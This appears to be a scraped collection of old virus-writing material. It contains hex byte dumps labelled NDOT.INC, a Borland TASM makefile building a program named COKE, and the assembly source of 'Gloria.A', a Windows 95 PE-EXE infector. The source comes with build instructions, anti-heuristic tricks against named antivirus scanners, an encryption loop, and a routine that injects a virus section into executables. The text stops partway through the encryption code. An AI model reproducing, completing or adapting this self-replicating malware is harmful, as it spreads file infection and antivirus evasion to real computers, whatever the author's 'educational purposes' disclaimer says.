DB 052H,000H,051H,000H,055H,000H,049H,000H,0A8H,00AH,056H,000H,04FH,0B2H,046H
DB 020H,0B2H,05AH,045H,022H,09DH,050H,002H,018H,04FH,002H,080H,052H,000H,041H
DB 000H,05AH,055H,04DH,002H,004H,053H,00FH,02CH,004H,02CH,043H,002H,034H,04DH
DB 002H,03EH,04EH,002H,00EH,05CH,002H,028H,049H,002H,056H,052H,055H,0B5H,002H
DB 014H,053H,002H,004H,046H,0A2H,026H,020H,002H,018H,048H,002H,03EH,052H,002H
DB 0BAH,044H,002H,042H,0A5H,0B8H,05CH,002H,06CH,02AH,0BAH,042H,002H,016H,033H
DB 002H,090H,032H,002H,092H,044H,000H,04CH,002H,002H,023H,002H,016H,022H,0D0H
DB 0C2H,058H,061H,0D2H,058H,0A2H,08AH,020H,0A2H,0E2H,061H,000H,073H,0A2H,066H
DB 063H,002H,08EH,046H,0A2H,068H,072H,002H,008H,041H,000H,070H,002H,002H,098H
DB 0FAH,06CH,000H,05FH,002H,02CH,003H,042H,05FH,000H,005H,0A8H,04AH,002H,060H
DB 043H,002H,070H,01EH,079H,00FH,00FH,008H,010H,0A2H,080H,0BFH,0EAH,032H,067H
DB 033H,063H,005H,004H,008H,019H,00FH,009H,00AH,010H,01BH,002H,00CH,07AH,0B6H
DB 0ADH,064H,002H,098H,072H,002H,010H,00FH,003H,00FH,010H,0FBH,0E5H,00FH,010H
DB 007H,010H,008H,012H,0E2H,005H,07AH,005H,006H,007H,018H,00FH,008H,00BH,010H
DB 049H,002H,00DH,084H,002H,002H,005H,002H,003H,00DH,0F6H,078H,0EFH,077H,000H
DB 06DH,002H,014H,00FH,003H,00FH,010H,00BH,010H,014H,00FH,080H,00BH,01DH,00FH
DB 00CH,006H,010H,054H,002H,008H,0A3H,0D8H,002H,007H,05FH,07FH,01FH,076H,003H
DB 013H,00FH,004H,00FH,010H,00CH,010H,010H,0D2H,080H,006H,002H,012H,063H,00FH
DB 013H,002H,002H,00BH,00FH,003H,00FH,010H,022H,066H,000H,044H,0D5H,000H,052H
DB 036H,027H,069H,000H,063H,0D2H,082H,074H,012H,086H,06FH,0D2H,0EAH,073H,00CH
DB 02CH,020H,03FH,03AH,022H,0F2H,0FDH,005H,083H,082H,035H,03FH,03AH,002H,018H
DB 083H,08CH,03FH,03AH,039H,036H,003H,00AH,037H,03AH,038H,022H,0A8H,030H,000H
DB 023H,000H,034H,023H,0A2H,002H,036H,03BH,03EH,072H,000H,071H,022H,0B2H,069H
DB 000H,076H,022H,0A2H,073H,000H,020H,0F2H,094H,065H,002H,006H,0EAH,045H,050H
DB 0E4H,01CH,067H,002H,006H,061H,012H,09CH,023H,0C8H,033H,01EH,003H,0B6H,072H
DB 004H,028H,06FH,000H,066H,052H,0F3H,020H,0ADH,01AH,032H,026H,066H,002H,00AH
DB 003H,018H,065H,032H,01EH,04FH,002H,00CH,066H,002H,0D4H,063H,062H,013H,003H
DB 030H,053H,000H,057H,0ADH,056H,002H,022H,052H,032H,092H,003H,07EH,04FH,032H
DB 024H,042H,002H,082H,04DH,004H,022H,00DH,048H,057H,002H,056H,072H,002H,07CH
DB 020H,00AH,056H,000H,003H,02AH,030H,002H,082H,04FH,000H,062H,000H,06AH,002H
DB 048H,063H,05BH,020H,002H,03AH,069H,002H,010H,072H,0A7H,0FEH,012H,034H,0F3H
DB 0AEH,01BH,02FH,0B8H,000H,04FH,068H,030H,002H,0E4H,033H,002H,0E6H,099H,092H
DB 00BH,00AH,01FH,02EH,013H,024H,009H,004H,017H,02EH,0A7H,01AH,033H,0D6H,013H
DB 02EH,003H,004H,043H,000H,043H,068H,057H,042H,062H,04EH,002H,0CAH,04FH,002H
DB 0D4H,043H,04CH,053H,000H,059H,055H,0EDH,042H,01CH,054H,032H,0B8H,04DH,002H
DB 0FAH,053H,032H,0BCH,044H,002H,0ECH,04CH,002H,010H,003H,03CH,054H,002H,0B2H
DB 003H,0ECH,003H,0F4H,0D5H,005H,043H,08EH,041H,012H,064H,074H,002H,0E4H,06DH
DB 002H,0C2H,017H,0F6H,00BH,0C6H,0E0H,008H,0C6H,041H,000H,046H,000H,035H,054H
DB 0D5H,000H,031H,002H,0C4H,031H,0A2H,03CH,032H,012H,0F4H,042H,012H,014H,035H
DB 042H,06AH,02DH,002H,016H,031H,002H,082H,005H,014H,0AAH,0EDH,043H,052H,004H
DB 044H,002H,01EH,034H,002H,02AH,034H,002H,032H,003H,022H,035H,002H,00CH,007H
DB 0CCH,07DH,012H,06AH,003H,08AH,003H,0C2H,06BH,0A3H,003H,004H,00FH,0C6H,057H
DB 002H,0BEH,05CH,002H,004H,00BH,0C6H,04DH,002H,010H,045H,0AAH,06DH,000H,073H
DB 022H,030H,054H,002H,0ECH,036H,037H,044H,002H,048H,01FH,0B2H,074H,012H,0A0H
DB 009H,028H,020H,000H,005H,068H,023H,00EH,01FH,0B4H,062H,024H,042H,01DH,0B4H
DB 001H,000H,0AAH,056H,0E4H,008H,0EEH,033H,052H,070H,032H,002H,0D4H,044H,002H
DB 0F6H,038H,002H,048H,063H,008H,046H,012H,044H,037H,002H,0DAH,031H,055H,0EBH
DB 002H,0F0H,044H,004H,014H,042H,002H,026H,041H,002H,0DCH,02DH,002H,004H,003H
DB 0F0H,035H,002H,0F0H,033H,002H,004H,023H,0CCH,005H,0F0H,06FH,0DBH,00FH,0EEH
DB 00FH,0EEH,005H,0EEH,015H,0AEH,050H,012H,0B0H,053H,0C8H,045H,002H,008H,00FH
DB 0F2H,045H,092H,001H,00FH,0F2H,06FH,022H,0D6H,00FH,0F2H,007H,000H,00FH,0F2H
NDOT.INC

DB 02FH,0A6H,00FH,0F2H,000H,000H,0E1H,02EH,045H,00DH,08FH,0E0H,01AH,010H,085H
DB 02EH,002H,000H,056H,060H,08CH,04DH,00BH,0B4H,000H,000H,01CH,001H,027H,0BAH
DB 013H,002H,046H,012H,0E6H,044H,022H,0B6H,034H,055H,0D5H,002H,0ECH,02DH,002H
DB 0DCH,042H,012H,012H,041H,014H,006H,030H,012H,008H,042H,002H,00AH,042H,012H
DB 028H,045H,002H,01AH,025H,0CEH,0AEH,05FH,041H,062H,080H,003H,0FCH,013H,010H
DB 044H,012H,032H,035H,012H,02AH,01FH,006H,015H,006H,07FH,022H,07FH,022H,07BH
DB 022H,04DH,022H,0E6H,043H,0EBH,055H,074H,03AH,079H,002H,04FH,002H,08AH,046H
DB 004H,018H,013H,032H,00DH,00EH,013H,040H,04FH,022H,08AH,037H,022H,02EH,044H
DB 022H,0F4H,04CH,06FH,017H,02FH,02EH,016H,03CH,04BH,01AH,03FH,0E4H,065H,052H
DB 00CH,013H,060H,04CH,042H,018H,02FH,030H,035H,024H,001H,052H,0EEH,003H,000H
DB 004H,050H,0FFH,002H,000H,000H,006H,0A2H,07BH,008H,002H,008H,016H,0D6H,00BH
DB 003H,020H,0B2H,069H,0D6H,062H,053H,08AH,00FH,004H,00FH,010H,00FH,010H,03DH
DB 0A8H,005H,010H,000H,074H,04EH,056H,09DH,003H,055H,008H,004H,08DH,09AH,001H
DB 000H,018H,032H,0DEH,068H,002H,09EH,073H,012H,082H,02AH,000H,06FH,002H,0AEH
DB 075H,052H,014H,065H,052H,0B8H,074H,000H,00AH,000H,032H,033H,036H,064H,064H
DB 061H,008H,06FH,032H,031H,039H,092H,024H,02AH,044H,001H,011H,002H,099H,0F3H
DB 04CH,004H,040H,002H,0A9H,000H,0F3H,01AH,005H,064H,001H,0FEH,0FFH,001H,0B3H
DB 0E3H,005H,00CH,00FH,006H,00FH,010H,00FH,010H,002H,0E4H,002H,04DH,00FH,016H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,0FFH
DB 0FFH,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,00FH,010H,01FH,000H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,003H,010H
DB 0A3H,098H,0C6H,077H,092H,0D1H,0D2H,011H,0BCH,0A4H,044H,0BCH,006H,045H,053H
DB 082H,093H,003H,014H,023H,078H,003H,008H,060H,022H,036H,080H,002H,004H,043H
DB 01CH,01DH,000H,0FFH,000H,020H,000H,000H,028H,000H,000H,004H,004H,057H,06FH
DB 072H,064H,0B5H,06BH,010H,000H,003H,004H,056H,000H,080H,042H,041H,0F7H,0E2H
DB 010H,000H,005H,004H,057H,069H,06EH,031H,036H,0C1H,07EH,006H,00BH,010H,000H
DB 033H,032H,007H,07FH,003H,01FH,04DH,061H,063H,0B3H,0B2H,010H,000H,008H,004H
DB 050H,072H,001H,000H,0C2H,054H,074H,06FH,031H,03AH,071H,010H,000H,006H,004H
DB 073H,074H,064H,06FH,06CH,065H,000H,000H,093H,060H,010H,000H,007H,000H,04DH
DB 053H,046H,06FH,072H,06DH,073H,043H,00FH,010H,028H,010H,000H,00CH,004H,0D2H
DB 07FH,073H,0D6H,07EH,074H,03CH,09EH,010H,000H,009H,002H,07CH,0FFH,003H,004H
DB 080H,004H,000H,05FH,045H,076H,061H,06CH,075H,0D2H,02DH,018H,0D9H,003H,040H
DB 04FH,066H,066H,069H,063H,000H,043H,065H,015H,075H,010H,000H,00FH,004H,054H
DB 0D6H,047H,004H,062H,063H,074H,081H,045H,002H,055H,004H,084H,045H,04DH,0F3H
DB 0C2H,099H,06FH,031H,0D4H,012H,003H,07CH,0D3H,045H,045H,0D2H,044H,0ECH,09CH
DB 010H,002H,0BCH,065H,001H,0E3H,0D2H,042H,051H,05BH,010H,000H,00BH,000H,041H
DB 0D6H,03BH,0D2H,03AH,0A5H,02AH,010H,0F2H,0AEH,0D2H,03FH,0D2H,092H,009H,018H
DB 0D6H,03FH,0F4H,0F6H,002H,05EH,000H,045H,06EH,061H,062H,06CH,065H,0D2H,040H
DB 0D5H,03FH,0EAH,0F3H,010H,019H,000H,032H,061H,077H,064H,002H,02AH,003H,018H
DB 064H,0FCH,0D3H,010H,000H,001H,000H,069H,060H,010H,010H,038H,00DH,000H,00EH
DB 000H,0D2H,045H,0D2H,044H,007H,090H,071H,0ACH,002H,0BFH,000H,0D2H,04FH,003H
DB 0FAH,063H,074H,04FH,068H,00BH,094H,002H,0E0H,002H,00FH,043H,0D4H,053H,065H
DB 06EH,074H,073H,00AH,027H,012H,02DH,000H,0D4H,058H,030H,076H,003H,057H,0C8H
DB 024H,043H,06FH,064H,0D6H,052H,0E1H,01CH,003H,01BH,0D4H,056H,0BAH,0CEH,002H
DB 0F1H,000H,049H,0D2H,088H,072H,074H,004H,06CH,069H,0C5H,002H,0C1H,000H,053H
DB 061H,076H,065H,092H,0D0H,003H,0D9H,017H,02AH,06AH,002H,086H,032H,0E5H,001H
DB 0F6H,0BBH,001H,012H,0BDH,0E2H,095H,004H,042H,03AH,047H,08EH,013H,0C4H,005H
DB 004H,0A2H,01FH,002H,018H,002H,03FH,0B4H,005H,01DH,006H,006H,00CH,002H,01FH
DB 0A0H,0B6H,0FFH,0FFH,00EH,002H,003H,002H,02AH,011H,002H,02AH,00CH,002H,008H
DB 003H,01BH,00CH,002H,0DEH,0D3H,046H,012H,024H,00AH,003H,003H,00FH,005H,0D5H
DB 0A4H,001H,080H,0B2H,080H,001H,000H,0D2H,079H,012H,011H,030H,02AH,002H,002H
DB 090H,009H,000H,000H,000H,070H,014H,006H,048H,003H,000H,082H,002H,000H,064H
DB 0E4H,004H,004H,000H,00FH,038H,000H,000H,01CH,000H,017H,01DH,0F2H,01BH,022H
DB 010H,063H,074H,005H,051H,000H,048H,000H,000H,040H,002H,000H,000H,00AH,006H
DB 002H,00AH,03DH,0ADH,002H,00AH,007H,002H,07CH,001H,014H,008H,006H,012H,080H
DB 000H,009H,002H,012H,080H,019H,0A2H,0DDH,0F2H,0CBH,00CH,002H,04AH,012H,03CH
DB 002H,00AH,016H,028H,02CH,000H,001H,039H,022H,036H,010H,022H,037H,03EH,002H
DB 019H,073H,092H,0EAH,092H,09BH,06FH,0C2H,0D5H,065H,050H,084H,082H,000H,00DH
DB 052H,0D2H,025H,05CH,000H,003H,062H,0BCH,047H,0F5H,0A6H,0B0H,034H,033H,030H
DB 02DH,022H,076H,000H,002H,004H,043H,000H,00AH,003H,002H,00EH,001H,012H,0F4H
DB 0A5H,023H,000H,032H,02EH,030H,023H,000H,010H,030H,023H,043H,03AH,000H,05CH
NDOT.INC

DB 057H,049H,04EH,044H,04FH,057H,092H,036H,053H,059H,053H,008H,000H,054H,045H
DB 04DH,082H,077H,054H,044H,04FH,04CH,045H,032H,02EH,010H,054H,04CH,042H,023H
DB 094H,000H,000H,008H,0F2H,07AH,000H,0F2H,08BH,061H,074H,022H,01DH,023H,000H
DB 02FH,000H,001H,016H,000H,007H,040H,020H,080H,002H,04DH,053H,000H,046H,023H
DB 0ADH,03EH,000H,00EH,021H,001H,006H,084H,09BH,045H,072H,004H,000H,000H,080H
DB 083H,09BH,02FH,000H,07AH,080H,009H,006H,070H,080H,001H,001H,046H,041H,046H
DB 000H,000H,035H,031H,034H,000H,031H,036H,032H,02DH,042H,038H,035H,033H,010H
DB 02DH,031H,031H,00AH,000H,044H,0F2H,04CH,039H,092H,01BH,034H,034H,034H,035H
DB 035H,033H,035H,00EH,034H,001H,048H,017H,000H,000H,046H,004H,033H,02EH,054H
DB 057H,044H,000H,023H,04DH,069H,063H,072H,06FH,073H,06FH,000H,000H,028H,066H
DB 074H,020H,002H,03DH,020H,000H,060H,020H,04FH,002H,062H,001H,0B0H,020H,000H
DB 001H,04CH,069H,062H,072H,061H,01CH,072H,079H,062H,0CBH,001H,01EH,050H,030H
DB 000H,090H,00DH,008H,000H,000H,013H,072H,002H,05FH,050H,033H,043H,032H,044H
DB 000H,044H,046H,038H,032H,02DH,043H,000H,000H,046H,045H,032H,037H,005H,050H
DB 041H,034H,01DH,050H,080H,04AH,050H,05CH,090H,056H,000H,00AH,042H,045H,05CH
DB 085H,028H,045H,058H,0A7H,028H,078H,0DCH,000H,077H,0DDH,083H,081H,095H,043H
DB 004H,002H,078H,04FH,033H,038H,044H,078H,082H,04FH,040H,075H,0B4H,015H,042H
DB 078H,02AH,098H,0C0H,02BH,080H,040H,08EH,0C4H,02CH,032H,000H,02CH,044H,0A2H
DB 0A5H,043H,02DH,035H,042H,046H,041H,092H,0D6H,030H,000H,000H,031H,042H,02DH
DB 042H,044H,045H,052H,035H,040H,078H,041H,041H,040H,077H,034H,0C0H,000H,000H
DB 002H,032H,001H,008H,055H,041H,052H,051H,055H,049H,056H,04FH,000H,053H,020H
DB 044H,000H,020H,045H,020H,050H,052H,04FH,000H,047H,052H,041H,04DH,041H,053H
DB 05CH,072H,0A3H,043H,052H,000H,000H,04FH,053H,04FH,046H,054H,000H,020H,04FH
DB 046H,046H,049H,043H,045H,05CH,001H,084H,000H,000H,001H,04DH,053H,04FH,039H
DB 037H,02EH,044H,00CH,04CH,04CH,048H,05CH,083H,025H,020H,000H,000H,038H,02EH
DB 030H,045H,092H,05CH,00FH,082H,0BFH,001H,000H,013H,0C2H,001H,08DH,004H,010H
DB 004H,09AH,019H,042H,0A8H,034H,0EFH,000H,06FH,063H,075H,06DH,032H,011H,01AH
DB 011H,04EH,004H,032H,000H,004H,000H,018H,040H,033H,054H,000H,068H,011H,040H
DB 038H,062H,0DAH,080H,08FH,063H,000H,075H,008H,002H,051H,000H,090H,062H,0D9H
DB 040H,0B6H,01CH,0C0H,006H,062H,0F4H,048H,042H,001H,031H,0C2H,0C4H,000H,000H
DB 0EBH,000H,0DCH,01EH,08BH,042H,002H,001H,005H,02CH,042H,01AH,08FH,09AH,022H
DB 042H,000H,009H,008H,00AH,02BH,042H,001H,010H,042H,001H,025H,08AH,01AH,0E1H
DB 02FH,0A2H,03EH,000H,003H,000H,0B0H,0C6H,0FEH,0FFH,009H,000H,0D3H,020H,007H
DB 01CH,001H,002H,009H,021H,002H,004H,004H,003H,010H,000H,000H,004H,08CH,006H
DB 08BH,07FH,000H,002H,069H,07FH,05DH,002H,084H,023H,075H,002H,02EH,00FH,049H
DB 006H,049H,049H,044H,03DH,022H,07BH,037H,037H,043H,036H,000H,086H,039H,038H
DB 041H,046H,02DH,044H,031H,039H,032H,013H,0F9H,022H,004H,043H,041H,034H,02DH
DB 016H,0F9H,084H,062H,034H,030H,002H,001H,07DH,022H,00DH,00AH,037H,0BAH,03DH
DB 00BH,076H,02FH,026H,048H,002H,01FH,004H,003H,00DH,080H,003H,00AH,04EH,061H
DB 06DH,065H,03DH,022H,037H,030H,046H,0DDH,002H,03AH,048H,065H,06CH,070H,043H
DB 06FH,0A0H,000H,06EH,074H,065H,078H,074H,003H,072H,030H,002H,013H,043H,04DH
DB 047H,03DH,022H,042H,038H,042H,080H,001H,041H,032H,037H,035H,044H,032H,042H
DB 00BH,004H,002H,01EH,044H,050H,042H,03DH,022H,037H,030H,000H,003H,037H,032H
DB 045H,046H,031H,030H,046H,030H,005H,004H,002H,018H,047H,043H,03DH,022H,032H
DB 038H,000H,009H,032H,041H,042H,037H,043H,038H,042H,038H,003H,004H,033H,037H
DB 002H,017H,00DH,00AH,05BH,048H,000H,000H,06FH,073H,074H,020H,045H,078H,074H
DB 065H,06EH,064H,065H,072H,020H,049H,06EH,066H,010H,000H,06FH,05DH,00DH,00AH
DB 008H,09CH,031H,03DH,07BH,033H,038H,033H,032H,044H,036H,034H,030H,009H,000H
DB 022H,081H,039H,030H,002H,0E6H,043H,046H,02DH,038H,045H,034H,033H,02DH,030H
DB 030H,041H,030H,000H,014H,043H,039H,031H,031H,030H,030H,035H,041H,07DH,03BH
DB 022H,08EH,03BH,008H,036H,030H,00DH,00AH,003H,083H,002H,05AH,062H,038H,06BH
DB 073H,070H,061H,063H,065H,002H,051H,00BH,0FAH,03DH,032H,037H,02CH,020H,003H
DB 004H,000H,0E0H,036H,032H,033H,02CH,020H,033H,037H,035H,02CH,020H,05AH,00DH
DB 00AH,01FH,0CEH,012H,07CH,004H,003H,0A3H,091H,01FH,0CEH,003H,015H,001H,000H
DB 001H,012H,0E2H,003H,0E2H,0FDH,043H,0B0H,006H,009H,002H,003H,015H,000H,0C0H
DB 004H,006H,018H,044H,000H,046H,01DH,002H,008H,017H,073H,06FH,020H,064H,06FH
DB 020H,036H,074H,066H,074H,020H,002H,093H,064H,0BCH,02AH,020H,000H,002H,038H
DB 062H,089H,003H,00CH,002H,027H,000H,022H,00EH,000H,003H,00CH,02EH,002H,00DH
DB 075H,023H,09BH,02EH,038H,0E0H,0FFH,000H,0F4H,039H,0B2H,071H,002H,046H,008H
DB 003H,00FH,09DH,056H,02AH,003H,07EH,00FH,004H,00FH,010H,00FH,010H,00FH,010H
DB 00FH,010H,00FH,010H,0BFH,082H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH
DB 010H,005H,010H,001H,0B2H,0E6H,06FH,0A2H,046H,070H,000H,04FH,000H,062H,0E2H
NDOT.INC

DB 0E8H,0EFH,0D7H,008H,0EAH,00FH,009H,00FH,010H,006H,010H,012H,0B2H,012H,005H
DB 04AH,005H,006H,006H,017H,00FH,007H,00CH,010H,05BH,002H,00EH,06FH,002H,004H
DB 00FH,003H,0FFH,0FFH,00FH,010H,00FH,010H,00FH,010H,007H,010H,005H,07AH,005H
DB 006H,007H,014H,00FH,008H,00FH,010H,00FH,010H,00FH,010H,00FH,010H,00FH,010H
DB 00BH,010H,005H,07AH,005H,006H,0FFH,01FH,00BH,018H,00FH,00CH,00FH,010H,00FH
DB 010H,00FH,010H,00FH,010H,00FH,010H,007H,010H,005H,07AH,005H,006H,007H,014H
DB 00FH,008H,00FH,010H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H
MAKEFILE

# Make file for Turbo Assembler WAP32 example.


# Copyright (c) 1996 by Borland International, Inc.

# make -B Will build wap32.exe


# make -B -DDEBUG Will build the debug version of wap32.exe

NAME = COKE
OBJS = $(NAME).obj
DEF = $(NAME).def

!if $d(DEBUG)
TASMDEBUG=/zi /m /l
LINKDEBUG=/v
!else
TASMDEBUG=/m /l
LINKDEBUG=
!endif

!if $d(MAKEDIR)
IMPORT=$(MAKEDIR)\..\lib\import32
!else
IMPORT=import32
!endif

$(NAME).EXE: $(OBJS) $(DEF)


tlink32 /Tpe /aa /c $(LINKDEBUG) $(OBJS),$(NAME),, $(IMPORT), $(DEF)
pewrsec $(NAME).EXE
move coke.exe coke32.exe

.asm.obj:
tasm32 $(TASMDEBUG) /ml $&.asm
This is a direct action Pe-exe infector. Will infect files under Windows 95 (I don't know if works on NT or Win
2000) with extension *.EXE. After running, will modifie System.ini in Windows directory and Install a server
that scans for files in all fixed disks.

Download source code of Gloria here


GLORIA.ASM

;
; Virus: Gloria.A
; Size: 3440 bytes
; Author: N.B.K. <"nbk@programador.mailbr.com.br">
;
;
;
; This is a direct action Pe-exe infector. Will infect files
; under Windows 95 (I don't know if works on NT or Win 2000)
; with extension *.EXE. After running, will modifie System.ini
; in Windows directory and Install a server that scans for
; files in all fixed disks.
;
; Greetz:
;
; Lord Julus ( good work in virus list )
; Vecna ( Thanx for help me )
;
; And all Vx writer in "#vir" / "#virus" channels.
;
; This code is only for educational purposes.
; Don't assembly it !!!.
;
;
; Know bugs: - Error with Winzip self-extract files
;
; [ This is my first virus :-) ].
;
;
; tasm32 -ml -m gloria.asm
; tlink32 -Tpe -aa -c gloria,,,import32.lib
; pewrsec gloria.exe

.386p
.model flat, stdcall
locals
jumps

include my_own.inc

Gloria: pushad
xor ebx,ebx
db 68h
replace_heur dd ofs anti_heuristic
push dword ptr fs:[ebx]
mov dword ptr fs:[ebx],esp

; Generate exception, but we can handle it...

int 03h

db 0E9h

; F-PROT will jump "here"


; And AVP stop scanning when saw that this
; is the first section, named .CODE :-)

; restore errors

anti_heuristic: mov esp,dword ptr [esp+8]


xor ebx,ebx
GLORIA.ASM

pop dword ptr fs:[ebx]


add esp,4

; edi = offset for encrypted code

db 0BFh
replace_addr dd ofs dummy

; code lenght

mov ecx,virus_crypt

loop_decrypt: mov eax,dword ptr [edi]


ror eax,1
sub eax,19h
rol eax,2
add eax,11h
ror eax,2
inc eax
rol eax,1

xor eax,96291273h
key_dword2 equ $ - 4

not eax
mov dword ptr [edi],eax
add edi,4

loop loop_decrypt

; get delta offset

area_crypt: call getdelta

getdelta: pop ebp


sub ebp,ofs getdelta

; try windows 95 kernel

mov eax,0BFF70000h

cmp word ptr [eax],"ZM"


je krnl_found

; try windows NT kernel

mov eax,077F00000h

cmp word ptr [eax],"ZM"


je krnl_found

; try windows 2000 kernel (Thanx Vecna)

mov eax,077e00000h

cmp word ptr [eax],"ZM"


jne unknow_os

krnl_found: mov [ebp+ofs kernel32],eax


lea edx,[ebp+ ofs getprocaddress]

; retrieve GetProcAddress (engine from Lord Julus)


GLORIA.ASM

call my_GetProc
jc unknow_os

; locate api address

mov dword ptr [ebp+GetProc],eax


call locate_api

lea esi,[ebp+ofs key_dword]


dec dword ptr [esi]

; get a random number

in al,40h
mov cl,al

; rotate new key

mov ebx,dword ptr [esi]


ror ebx,cl

; and fix it

mov dword ptr [esi],ebx


mov dword ptr [ebp+key_dword2],ebx

call dword ptr [ebp+GetCommandLineA]


mov ecx,512

; We need to stay in net mode ?

_scan: cmp dword ptr [eax],"bteN"


je net_mode

inc eax
loop _scan

; restore values used to back to host

call reset_var

lea eax,[ebp+ofs path_name]


push eax
push 260
call dword ptr [ebp+GetCurrentDirectoryA]

xor al,al
mov byte ptr [ebp+files_infect],al

; infect current directory

call infect_one

; Install checker

call check_install_net

; exit virus code

jmp Gloria_exit
GLORIA.ASM

infect_one: pushad

lea esi,[ebp+ofs path_name]


lea edi,[ebp+ofs stringexe]

; insert \*.EXE to path

cld
_@@2: lodsb
or al,al
jnz _@@2

sub esi,1
xchg esi,edi

movsd
movsd

lea eax,[ebp+ofs file_data]


lea esi,[ebp+ofs path_name]
push eax esi
call dword ptr [ebp+FindFirstFileA]

mov dword ptr [ebp+handle_find],eax


cmp eax,-1
je ret_infect_loop

xor ecx,ecx

lea edi,[ebp+ofs file_data.FileName]


_@@3: lodsb
inc ecx
or al,al
jnz _@@3

; subtract *.EXE,0 string

sub esi,6
xchg esi,edi

; add filename to path

mov ecx,260
rep movsb

jmp infect_loop@

infect_loop: lea esi,[ebp+ofs path_name]


_@1@: lodsb
or al,al
jnz _@1@

; find last "\"

std
_@2@: lodsb
cmp al,"\"
jne _@2@
cld
add esi,2

lea edi,[ebp+ofs file_data.FileName]


GLORIA.ASM

xchg esi,edi

; And replace filename

mov ecx,260
rep movsb

infect_loop@: lea esi,[ebp+ofs path_name]

_@_1: lodsb
or al,al
jnz _@_1

; set direction flag to go back to "\"

std
_@_2: lodsb
cmp al,"\"
jne _@_2

; clear direction flag to avoid future errors

cld
add esi,2

mov edi,esi

; check file name

call chk_fl_name
jc check_how

push 80h
push esi
call dword ptr [ebp+SetFileAttributesA]

mov eax,dword ptr [ebp+ofs file_data.FileSizeLow]


mov dword ptr [ebp+new_file_size],eax
mov dword ptr [ebp+old_file_size],eax

cmp eax,1000h
ja good_size

jmp attr_res

good_size: call open_mapp


or eax,eax
jz attr_res

; check PE header

call check_cod
jc unmap_attr

; close file

good_entry: call unmap


add dword ptr [ebp+new_file_size],(vir_size*2)

; open with virus size * 2

call open_mapp
GLORIA.ASM

or eax,eax
jz attr_res

; call infection routine

call process_file

mov eax,dword ptr [ebp+physicalsize]


sub dword ptr [ebp+new_file_size],(vir_size*2)
add dword ptr [ebp+new_file_size],(vir_size+200h)

; mark this infection

inc byte ptr [ebp+files_infect]

; Unmap it

unmap_attr: call unmap

attr_res: push dword ptr [ebp+ ofs file_data.FileAttributes]


lea eax,[ebp+ofs path_name]
push eax
call dword ptr [ebp+SetFileAttributesA]

check_how: cmp byte ptr [ebp+files_infect],0Ah


jae close_find

find_next_file: lea eax,[ebp+ ofs file_data]


push eax
mov eax,[ebp+handle_find]
push eax
call dword ptr [ebp+FindNextFileA]

or eax,eax
jz close_find

jmp infect_loop

db 0B8h ; The next call will never be found.

close_find: push dword ptr [ebp+handle_find]


call dword ptr [ebp+FindClose]
ret_infect_loop:popad
ret

process_file:
; infection routine
; put new section named ".CODE"
; as first section

pushad
mov esi,dword ptr [ebp+mem_addr]
add dword ptr [ebp+peofs],esi

mov edi,dword ptr [ebp+peofs]

xor ebx,ebx
mov bx,word ptr [edi._nt]
add ebx,18h
add ebx,edi
mov dword ptr [ebp+tableofs],ebx
GLORIA.ASM

xor eax,eax
mov ax,word ptr [edi._objects]
inc word ptr [edi._objects] ; add 1 object

mov ecx,40
xor edx,edx
mul ecx

mov dword ptr [ebp+all_sec_size],eax


add eax,dword ptr [ebp+tableofs]
mov dword ptr [ebp+lastsection],eax

xor al,al
in al,41h
shr al,1
inc al

mov esi,dword ptr [ebp+mem_addr]


mov byte ptr [esi+12h],al ; mark infection

; Save usefull values

mov eax,dword ptr [edi._entry]


mov dword ptr [ebp+old_value_rva],eax

mov eax,dword ptr [edi._image_base]


mov dword ptr [ebp+old_imagebase],eax

mov eax,dword ptr [edi._obj_ln]


mov dword ptr [ebp+objalign],eax

mov eax,dword ptr [edi._file_ln]


mov dword ptr [ebp+filealign],eax

mov eax,dword ptr [ebp+lastsection]


mov edi,eax

mov eax, [edi-5*8+8]


add eax, [edi-5*8+12]
mov ecx,dword ptr [ebp+objalign]
call align_proc

mov esi,dword ptr [ebp+lastsection]


mov [esi._RVA],eax
mov [ebp+virus_entry],eax

mov ecx,dword ptr [ebp+filealign]


mov eax,vir_size
call align_proc
mov dword ptr [esi._physical_sz],eax ; physical size
mov dword ptr [ebp+physicalsize],eax ; physical size

mov ecx,dword ptr [ebp+objalign]


mov eax,virtual_size_gl
call align_proc
mov dword ptr [esi._virtual_sz],eax ; virtual size

mov eax,[edi-5*8+20]
add eax,[edi-5*8+16]
mov ecx,dword ptr [ebp+filealign]
call align_proc
mov [esi._physical_off],eax
GLORIA.ASM

add eax,dword ptr [ebp+mem_addr]


mov dword ptr [ebp+_real_ofs],eax

; store new section named ".CODE"

mov dword ptr [edi._obj_flags],0C0000080h ; flags


lea edi,[edi._name_sec]
lea esi,[ebp+my_section]
mov ecx,8
rep movsb

mov esi,dword ptr [ebp+peofs]


mov eax,virtual_size_gl
add eax,dword ptr [esi._img_sz]
mov ecx,dword ptr [ebp+objalign]
call align_proc
mov dword ptr [esi._img_sz],eax

mov eax,dword ptr [ebp+virus_entry]


mov [esi._entry],eax

; copy sections to my buffer

lea edi,[ebp+ofs section_space]


mov esi,dword ptr [ebp+tableofs]
mov ecx,dword ptr [ebp+all_sec_size]
rep movsb

; replace the first section

mov esi,dword ptr [ebp+lastsection]


mov edi,dword ptr [ebp+tableofs]
mov ecx,28h
rep movsb

; and copy the rest

lea esi,[ebp+section_space]
mov edi,dword ptr [ebp+tableofs]
add edi,28h
mov ecx,dword ptr [ebp+all_sec_size]
rep movsb

; calculate new offsets

mov edi,dword ptr [ebp+virus_entry]


push edi
add edi,[ebp+ofs old_imagebase]
add edi,ofs area_crypt - ofs Gloria
mov [ebp+ofs replace_addr],edi

pop edi
add edi,[ebp+ofs old_imagebase]

add edi,ofs anti_heuristic - ofs Gloria


mov [ebp+ofs replace_heur],edi

; And copy our virus to file

mov edi,dword ptr [ebp+_real_ofs]


lea esi,[ebp+ofs Gloria]
mov ecx,entry_fim - Gloria
GLORIA.ASM

rep movsb

mov ecx,virus_crypt
mov edi,dword ptr [ebp+_real_ofs]
add edi,ofs area_crypt - ofs Gloria

; encrypt code

loop_encrypt: mov eax,dword ptr [edi]


not eax
xor eax,96291273h
key_dword equ $ - 4
ror eax,1
dec eax
rol eax,2
